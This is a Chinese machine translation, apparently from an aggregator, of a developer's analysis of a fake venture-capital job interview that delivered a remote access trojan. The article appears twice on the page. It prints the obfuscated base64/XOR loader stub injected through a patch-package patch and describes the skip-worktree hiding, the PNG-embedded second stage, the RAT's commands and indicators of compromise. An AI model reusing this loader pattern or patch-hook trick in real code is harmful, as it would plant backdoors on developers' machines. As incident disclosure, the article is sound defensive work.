Hacker News 热门(buzzing.cc 中文翻译)
精选
81AI 编辑部评分,满分 100

一次失败的(民族国家?)攻击的剖析

2026-06-27 23:39· 45天前· signa11
AI 导读

作者收到伪装成新加坡VC Lua Ventures的虚假面试邮件,要求完成一个TypeScript仓库的“测试”。作者将仓库交给Claude扫描,在typescript+5.9.2.patch中发现base64混淆载荷,该载荷在patch-package安装时触发,向~/.cache-等目录写入payload.jsmutex.js,构成后门(命名PinpinRAT)。攻击者使用虚构身份和空洞LinkedIn资料,目标是作者在crates.io上的Rust包。相关信息已报告加拿大CCCS等机构。

推荐理由

这是一次近乎完美的开发者定向攻击复盘,虚假面试加上精心构造的补丁注入 RAT,手法隐蔽到连作者都差点中招,所有靠开源吃饭的人都该认真看看 Ioc 并重新审视自己的代码审查盲区。

正文 · AI 翻译

🧠 本文完全由人类撰写:除入侵指标(IoC)信息外,所有文字均为人工完成。由于时间紧迫,使用了 Claude 来加速 RAT 分析并构建 IoC 检测脚本。

由于我居住在加拿大,相关信息已上报给加拿大相关机构(CCCS 等)。该包含恶意载荷的图片在 VirusTotal 上未触发任何杀毒引擎。

攻击者的身份是虚构的,但存在同名且与此事无关的真实个人,为避免混淆,本文已隐去其信息。

在 Reddit 上,Rust 社区中有另外几位用户提到他们也成为了攻击目标。

本周,我险些落入一场伪装成面试的骗局,其目的是在我的机器上植入后门。从邮件内容来看,我怀疑攻击目标是我在 crates.io 上的软件包。

注:我将其称为“PinpinRAT”,是因为其内部字符串中包含该名称,但它在别处可能另有其名。我在网上未能找到任何其他相关引用。

一周半前,我收到一封来自“D█████ S████”的邮件,对方自称来自 Lua Ventures——一家(我当时并不知情的)已倒闭的新加坡 DeFi 领域风投公司。需要明确的是:这是一个捏造的身份,该名字很可能是为了与多位同名真人混淆而刻意选择的。

这封邮件看起来像真的一样,其中包含一个指向 LinkedIn 个人资料的链接,该资料虽然内容平淡,但看起来真实可信。

攻击者甚至提到了他们投资的两家公司,声称这两家公司正在寻找顾问服务:Lyrasing 和 Roadpay。搜索这两家公司并未发现明显异常——它们都有非常基础的网站,但没有任何迹象表明它们是虚假公司,而非仅仅处于早期阶段。(roadpay.cc 的 archive.org 快照)。

我们就会议时间来回沟通,最终确定了一个通话时间。通话本身也毫无异常。电话那头是一位带有德国口音、说话有些难以理解的男性。他说自己正在旅途中接听电话,这虽然有点奇怪,但同样不一定是可疑信号。

通话之后,诱饵来了。一封后续邮件提供了一项“测试”。

此时我略感不快,但并未起疑。我克隆了仓库,但第一个真正的危险信号是在这里出现的。

我幸运的地方在于:他们发给我的是一个 TypeScript 仓库。这让我觉得不对劲。这些指令看起来更像是 TypeScript 工作面试题,而非某种架构分析。我决定把仓库打包,扔给 Claude 快速扫描一下——这既是出于谨慎,也是出于懒惰。

片刻之后,它识别出了一些异常:

值得注意的是,根目录下的 package.json 没有 postinstall/preinstall 钩子——这很有意思,因为他们使用了 patch-package,而该工具通常需要连接到 postinstall 钩子上。让我检查每个 package.json 中的生命周期脚本,然后审计补丁文件(真正的风险面——补丁可以向 node_modules 注入任意代码)。

这引起了我的兴趣。我亲自扫描了目录,注意到 patches/ 目录的数量多得离谱。我检查的前几个补丁看起来还算无害,但正如你可能已经猜到的,它们只是为了增加噪音,让真正的恶意载荷不被发现。

packages/electron-benchmarks/patches/sumchecker+3.0.1.patch
packages/electron-benchmarks/patches/@electron+get+2.0.3.patch
packages/electron-benchmarks/patches/extract-zip+2.0.1.patch

在我手动缓慢检查的同时,Claude 识别出了 PinpinRAT 的首个迹象:

我找到了。这是一个恶意载荷。嵌入在 typescript+5.9.2.patch 文件中——在看似是对 TypeScript 进行常规“模块说明符”补丁的内容里——有一个 base64 编码的自执行混淆存根被注入到了 _tsc.js 和 typescript.js 的最顶部:

;;(function(r,k){const d=Buffer.from(r,'base64');for(let i=0;i<d.length;i+=1)d[i]^=k;return new Function('require','Buffer','WebAssembly','process','__dirname',d.toString('utf8'))(require,Buffer,WebAssembly,process,__dirname)})("YWFg...",73)/*12ff4b51*/
void "ticket-harbor-tsc-shim-anchor";

这段代码解码一个 base64 字符串,用密钥 73 对每个字节进行 XOR 解密,然后通过 new Function(…) 执行结果,并传入 require、process、Buffer 等。这是一个隐藏的代码执行载荷,每次运行 tsc 或任何导入 typescript.js 的代码时都会触发——也就是说,在第一次执行 npm run typecheck / build / dev 时就会触发。

……就在这时,我决定不再在自己的机器上捅这个马蜂窝了。我用密码将其压缩打包,以防自己意外触发它,然后继续在沙箱中进行分析。

陷阱

这个仓库的主题是一个名为“Ticket Harbor”的渡轮票务应用。捆绑包中的 task.txt 文件包含一组看似合理的无聊任务,但结尾却是:

在提交之前,运行仓库的类型检查、测试套件以及相关的桌面/服务器构建命令。

这条指令就是让你中招的陷阱。

这个链条是这样运作的:

  1. 四个独立的 postinstall 钩子都运行了 patch-package。但其中一个还会对补丁文件执行 `git update-index --skip-worktree`,从而将它们对 `git status` 隐藏起来。

  2. `typescript+5.9.2.patch` 在 `typescript.js` 和 `_tsc.js` 的顶部注入了一个自执行存根。这是一个轻度混淆的代码块,被传入 `new Function(...)`(可能是为了避免使用 eval,以规避恶意软件检测)。

  3. 该加载器读取一个附加在名为 `operators/3.png` 文件末尾的隐藏块,运行一个嵌入的小型 WASM 存根(位于一个自定义的 wAsm 块中),然后生成一个分离的、静默的 Node 进程,该进程携带一个 1.68 MB 的混淆第二阶段载荷。

  4. 它在三个层面进行自我清理:git skip-worktree 技巧;释放器会在首次运行后重写补丁,删除其自身注入的代码行;第二阶段临时目录在执行时自我删除。

实际载荷是一个 RAT(远程访问木马)。我原本担心这是个凭证窃取器,但情况要糟糕得多。PinpinRAT 嵌套在三层混淆中,解开它们非常麻烦:obfuscator.io(它声称有 LLM 保护,哈),以及另外两层 base64。

它释放了什么

为了 1) 快速分享此信息,以及 2) 避免意外在我自己的机器上引爆恶意软件,我让 Claude 在其沙箱中拆解了实际的木马,并让它向我描述。

需要明确说明:Claude 能够在大约 5 分钟的工作内逆向工程多层混淆,这比我所能做到的要快得多。

释放的是一个完整的远程访问木马,似乎是由一个懂行的人拼凑出来的。它在本地设置了一个 RSA 密钥,并使用 AES-256-CBC 作为会话密钥。

启动时,它会调用一个签到例程,收集并窃取主机指纹:

  • 主 IP 地址(枚举所有非内部接口),以及所有 IP
  • 用户名(os.userInfo().username)
  • 主机名
  • 操作系统类型 + 发行版 + 平台 + 架构
  • 进程 PID 和完整的 process.argv
  • Node 版本

它会生成一个 RSA-2048 密钥对和一个随机的 AES-256 会话密钥(aes_psk),之后所有后续流量都使用 AES-256-CBC 加密,并附带 HMAC-SHA256 完整性校验标签。

它支持以下命令:

  • env — 将 `process.env` 通过 `JSON.stringify` 序列化后发送回来。
  • upload — 读取任意文件路径并将其外传。
  • download — 将攻击者提供的字节写入任意可写路径。
  • spawn — 运行任意进程,支持可选的 shell 扩展。
  • ls / cd / pwd / cp / mv — 通用文件系统原语。
  • dns — 让主机通过指定的解析器解析任意域名(用于 DNS 隧道?)。
  • dismantle — 自我清除。

入侵指标

如果你最终运行了其中某个程序,应立即将系统从网络中断开,并在另一台机器上轮换你的凭证。修复过程应该很直接,但请认为你的凭证(包括 Cookie 和受密码保护的机密信息)均已泄露。

以下是 PinpinRAT 恶意软件中发现的一些入侵指标:

  • C2:89.124.107.161:80
  • 计划任务(Windows):PinpinWrappedJs
  • 进程伪装(macOS):com.apple.WebKit.Networking
  • 环境变量:NODT_PAYLOAD_PATH, NODT_PAYLOAD_ARGS
  • PNG 块保护:WASMPACK (wAsm)
  • PINPIN_NO_AUTOSTART=1:阻止持久化
  • 带有 mutex.js 的 cron 任务(仅当 RAT 拥有权限时,macOS 上可能不存在)
  • typescript.js 中的锚点字符串:12ff4b51, ticket-harbor-tsc-shim-anchor
  • 包含有效负载的 typescript+5.9.2.patch
  • Artifact dirs: ~/Library/Caches/runtime-cache/.cache-<randomhex>/ (macOS), /tmp/.cache-<randomhex>/ (Linux), %TEMP%\.cache-<randomhex>\ (Windows)
    • .. 其中包含 payload.js 和 mutex.js

我本应看到警示信号的地方

有几个地方我本应更早看到警示信号。这次攻击活动的目标是让这些信号足够隐蔽,不至于触发你的防御机制,但你需要足够警惕,才能发现何时足够多的黄色信号累积成了红色信号。

仔细看的话,这些消息带有一些大语言模型的特征。这很可能是一个信号,表明你应该以极度怀疑的态度对待任何事物。

那个 LinkedIn 个人资料乍一看很真实,但里面充斥着胡言乱语(“BSc(Hons), MA (Dist), PGDipFM, CEng”?),至少应该让人产生一种“沙拉拼盘”的感觉。没有任何真实的活动记录。

他们网站上的社交媒体链接确实有一段真实历史,但名称在 2025 年 11 月被更改了。所有帖子内容都相当空洞,只是对某些公司含糊其辞地表示赞赏,而这些公司并未得到任何具体描述。

那些拥有网站的公司,除了光鲜亮丽的网页之外,并没有任何真实的存在感。

他们从未发送过正式的邀请函——只给了一个时间和一个 Google Meet 链接。哪家风投不用日历?他们的摄像头全程关闭,并且声称自己“正在旅行”。

再看整体操作手法:一家总部设在新加坡、按中欧夏令时运营的风投基金,联系一位加拿大的开发者,域名瞄准美国客户,后缀却是 .cc。要核实一个如此遥远的组织的背景,难度要大得多。

事后看来,没有哪一点是显而易见的,但如果你把整件事放在一起看,缺失的拼图就在那里。

那么,这到底是谁干的?

无法确定,但这是一次有针对性的攻击,拥有相当令人信服的伪装故事和虚假身份、多个窃取历史记录的虚假网站,以及一个耐心的行动时间线。那个 Git 陷阱相当高明。这种“虚假面试骗局”已成为 2026 年多个行为体的惯用伎俩。

幕后黑手究竟是谁,现在该由相关机构去负责了。值得注意的一点是,这次攻击的目标是你我这样的开发者,而我足够幸运,在陷阱触发前看到了一个危险信号。

老实说,最让我感到恐惧和清醒的是,如果这是一个带有陷阱的 build.rs 脚本的 Rust 仓库,我可能已经上当了。

来源:Hacker News 热门(buzzing.cc 中文翻译) · grack.com

一次失败的(民族国家?)攻击的剖析

Hacker News 热门(buzzing.cc 中文翻译)·2026-06-27 23:39·45天前·signa11
AI 导读

作者收到伪装成新加坡VC Lua Ventures的虚假面试邮件,要求完成一个TypeScript仓库的“测试”。作者将仓库交给Claude扫描,在typescript+5.9.2.patch中发现base64混淆载荷,该载荷在patch-package安装时触发,向~/.cache-等目录写入payload.jsmutex.js,构成后门(命名PinpinRAT)。攻击者使用虚构身份和空洞LinkedIn资料,目标是作者在crates.io上的Rust包。相关信息已报告加拿大CCCS等机构。

正文 · AI 翻译

🧠 本文完全由人类撰写:除入侵指标(IoC)信息外,所有文字均为人工完成。由于时间紧迫,使用了 Claude 来加速 RAT 分析并构建 IoC 检测脚本。

由于我居住在加拿大,相关信息已上报给加拿大相关机构(CCCS 等)。该包含恶意载荷的图片在 VirusTotal 上未触发任何杀毒引擎。

攻击者的身份是虚构的,但存在同名且与此事无关的真实个人,为避免混淆,本文已隐去其信息。

在 Reddit 上,Rust 社区中有另外几位用户提到他们也成为了攻击目标。

本周,我险些落入一场伪装成面试的骗局,其目的是在我的机器上植入后门。从邮件内容来看,我怀疑攻击目标是我在 crates.io 上的软件包。

注:我将其称为“PinpinRAT”,是因为其内部字符串中包含该名称,但它在别处可能另有其名。我在网上未能找到任何其他相关引用。

一周半前,我收到一封来自“D█████ S████”的邮件,对方自称来自 Lua Ventures——一家(我当时并不知情的)已倒闭的新加坡 DeFi 领域风投公司。需要明确的是:这是一个捏造的身份,该名字很可能是为了与多位同名真人混淆而刻意选择的。

这封邮件看起来像真的一样,其中包含一个指向 LinkedIn 个人资料的链接,该资料虽然内容平淡,但看起来真实可信。

攻击者甚至提到了他们投资的两家公司,声称这两家公司正在寻找顾问服务:Lyrasing 和 Roadpay。搜索这两家公司并未发现明显异常——它们都有非常基础的网站,但没有任何迹象表明它们是虚假公司,而非仅仅处于早期阶段。(roadpay.cc 的 archive.org 快照)。

我们就会议时间来回沟通,最终确定了一个通话时间。通话本身也毫无异常。电话那头是一位带有德国口音、说话有些难以理解的男性。他说自己正在旅途中接听电话,这虽然有点奇怪,但同样不一定是可疑信号。

通话之后,诱饵来了。一封后续邮件提供了一项“测试”。

此时我略感不快,但并未起疑。我克隆了仓库,但第一个真正的危险信号是在这里出现的。

我幸运的地方在于:他们发给我的是一个 TypeScript 仓库。这让我觉得不对劲。这些指令看起来更像是 TypeScript 工作面试题,而非某种架构分析。我决定把仓库打包,扔给 Claude 快速扫描一下——这既是出于谨慎,也是出于懒惰。

片刻之后,它识别出了一些异常:

值得注意的是,根目录下的 package.json 没有 postinstall/preinstall 钩子——这很有意思,因为他们使用了 patch-package,而该工具通常需要连接到 postinstall 钩子上。让我检查每个 package.json 中的生命周期脚本,然后审计补丁文件(真正的风险面——补丁可以向 node_modules 注入任意代码)。

这引起了我的兴趣。我亲自扫描了目录,注意到 patches/ 目录的数量多得离谱。我检查的前几个补丁看起来还算无害,但正如你可能已经猜到的,它们只是为了增加噪音,让真正的恶意载荷不被发现。

packages/electron-benchmarks/patches/sumchecker+3.0.1.patch
packages/electron-benchmarks/patches/@electron+get+2.0.3.patch
packages/electron-benchmarks/patches/extract-zip+2.0.1.patch

在我手动缓慢检查的同时,Claude 识别出了 PinpinRAT 的首个迹象:

我找到了。这是一个恶意载荷。嵌入在 typescript+5.9.2.patch 文件中——在看似是对 TypeScript 进行常规“模块说明符”补丁的内容里——有一个 base64 编码的自执行混淆存根被注入到了 _tsc.js 和 typescript.js 的最顶部:

;;(function(r,k){const d=Buffer.from(r,'base64');for(let i=0;i<d.length;i+=1)d[i]^=k;return new Function('require','Buffer','WebAssembly','process','__dirname',d.toString('utf8'))(require,Buffer,WebAssembly,process,__dirname)})("YWFg...",73)/*12ff4b51*/
void "ticket-harbor-tsc-shim-anchor";

这段代码解码一个 base64 字符串,用密钥 73 对每个字节进行 XOR 解密,然后通过 new Function(…) 执行结果,并传入 require、process、Buffer 等。这是一个隐藏的代码执行载荷,每次运行 tsc 或任何导入 typescript.js 的代码时都会触发——也就是说,在第一次执行 npm run typecheck / build / dev 时就会触发。

……就在这时,我决定不再在自己的机器上捅这个马蜂窝了。我用密码将其压缩打包,以防自己意外触发它,然后继续在沙箱中进行分析。

陷阱

这个仓库的主题是一个名为“Ticket Harbor”的渡轮票务应用。捆绑包中的 task.txt 文件包含一组看似合理的无聊任务,但结尾却是:

在提交之前,运行仓库的类型检查、测试套件以及相关的桌面/服务器构建命令。

这条指令就是让你中招的陷阱。

这个链条是这样运作的:

  1. 四个独立的 postinstall 钩子都运行了 patch-package。但其中一个还会对补丁文件执行 `git update-index --skip-worktree`,从而将它们对 `git status` 隐藏起来。

  2. `typescript+5.9.2.patch` 在 `typescript.js` 和 `_tsc.js` 的顶部注入了一个自执行存根。这是一个轻度混淆的代码块,被传入 `new Function(...)`(可能是为了避免使用 eval,以规避恶意软件检测)。

  3. 该加载器读取一个附加在名为 `operators/3.png` 文件末尾的隐藏块,运行一个嵌入的小型 WASM 存根(位于一个自定义的 wAsm 块中),然后生成一个分离的、静默的 Node 进程,该进程携带一个 1.68 MB 的混淆第二阶段载荷。

  4. 它在三个层面进行自我清理:git skip-worktree 技巧;释放器会在首次运行后重写补丁,删除其自身注入的代码行;第二阶段临时目录在执行时自我删除。

实际载荷是一个 RAT(远程访问木马)。我原本担心这是个凭证窃取器,但情况要糟糕得多。PinpinRAT 嵌套在三层混淆中,解开它们非常麻烦:obfuscator.io(它声称有 LLM 保护,哈),以及另外两层 base64。

它释放了什么

为了 1) 快速分享此信息,以及 2) 避免意外在我自己的机器上引爆恶意软件,我让 Claude 在其沙箱中拆解了实际的木马,并让它向我描述。

需要明确说明:Claude 能够在大约 5 分钟的工作内逆向工程多层混淆,这比我所能做到的要快得多。

释放的是一个完整的远程访问木马,似乎是由一个懂行的人拼凑出来的。它在本地设置了一个 RSA 密钥,并使用 AES-256-CBC 作为会话密钥。

启动时,它会调用一个签到例程,收集并窃取主机指纹:

  • 主 IP 地址(枚举所有非内部接口),以及所有 IP
  • 用户名(os.userInfo().username)
  • 主机名
  • 操作系统类型 + 发行版 + 平台 + 架构
  • 进程 PID 和完整的 process.argv
  • Node 版本

它会生成一个 RSA-2048 密钥对和一个随机的 AES-256 会话密钥(aes_psk),之后所有后续流量都使用 AES-256-CBC 加密,并附带 HMAC-SHA256 完整性校验标签。

它支持以下命令:

  • env — 将 `process.env` 通过 `JSON.stringify` 序列化后发送回来。
  • upload — 读取任意文件路径并将其外传。
  • download — 将攻击者提供的字节写入任意可写路径。
  • spawn — 运行任意进程,支持可选的 shell 扩展。
  • ls / cd / pwd / cp / mv — 通用文件系统原语。
  • dns — 让主机通过指定的解析器解析任意域名(用于 DNS 隧道?)。
  • dismantle — 自我清除。

入侵指标

如果你最终运行了其中某个程序,应立即将系统从网络中断开,并在另一台机器上轮换你的凭证。修复过程应该很直接,但请认为你的凭证(包括 Cookie 和受密码保护的机密信息)均已泄露。

以下是 PinpinRAT 恶意软件中发现的一些入侵指标:

  • C2:89.124.107.161:80
  • 计划任务(Windows):PinpinWrappedJs
  • 进程伪装(macOS):com.apple.WebKit.Networking
  • 环境变量:NODT_PAYLOAD_PATH, NODT_PAYLOAD_ARGS
  • PNG 块保护:WASMPACK (wAsm)
  • PINPIN_NO_AUTOSTART=1:阻止持久化
  • 带有 mutex.js 的 cron 任务(仅当 RAT 拥有权限时,macOS 上可能不存在)
  • typescript.js 中的锚点字符串:12ff4b51, ticket-harbor-tsc-shim-anchor
  • 包含有效负载的 typescript+5.9.2.patch
  • Artifact dirs: ~/Library/Caches/runtime-cache/.cache-<randomhex>/ (macOS), /tmp/.cache-<randomhex>/ (Linux), %TEMP%\.cache-<randomhex>\ (Windows)
    • .. 其中包含 payload.js 和 mutex.js

我本应看到警示信号的地方

有几个地方我本应更早看到警示信号。这次攻击活动的目标是让这些信号足够隐蔽,不至于触发你的防御机制,但你需要足够警惕,才能发现何时足够多的黄色信号累积成了红色信号。

仔细看的话,这些消息带有一些大语言模型的特征。这很可能是一个信号,表明你应该以极度怀疑的态度对待任何事物。

那个 LinkedIn 个人资料乍一看很真实,但里面充斥着胡言乱语(“BSc(Hons), MA (Dist), PGDipFM, CEng”?),至少应该让人产生一种“沙拉拼盘”的感觉。没有任何真实的活动记录。

他们网站上的社交媒体链接确实有一段真实历史,但名称在 2025 年 11 月被更改了。所有帖子内容都相当空洞,只是对某些公司含糊其辞地表示赞赏,而这些公司并未得到任何具体描述。

那些拥有网站的公司,除了光鲜亮丽的网页之外,并没有任何真实的存在感。

他们从未发送过正式的邀请函——只给了一个时间和一个 Google Meet 链接。哪家风投不用日历?他们的摄像头全程关闭,并且声称自己“正在旅行”。

再看整体操作手法:一家总部设在新加坡、按中欧夏令时运营的风投基金,联系一位加拿大的开发者,域名瞄准美国客户,后缀却是 .cc。要核实一个如此遥远的组织的背景,难度要大得多。

事后看来,没有哪一点是显而易见的,但如果你把整件事放在一起看,缺失的拼图就在那里。

那么,这到底是谁干的?

无法确定,但这是一次有针对性的攻击,拥有相当令人信服的伪装故事和虚假身份、多个窃取历史记录的虚假网站,以及一个耐心的行动时间线。那个 Git 陷阱相当高明。这种“虚假面试骗局”已成为 2026 年多个行为体的惯用伎俩。

幕后黑手究竟是谁,现在该由相关机构去负责了。值得注意的一点是,这次攻击的目标是你我这样的开发者,而我足够幸运,在陷阱触发前看到了一个危险信号。

老实说,最让我感到恐惧和清醒的是,如果这是一个带有陷阱的 build.rs 脚本的 Rust 仓库,我可能已经上当了。

来源:Hacker News 热门(buzzing.cc 中文翻译)· grack.com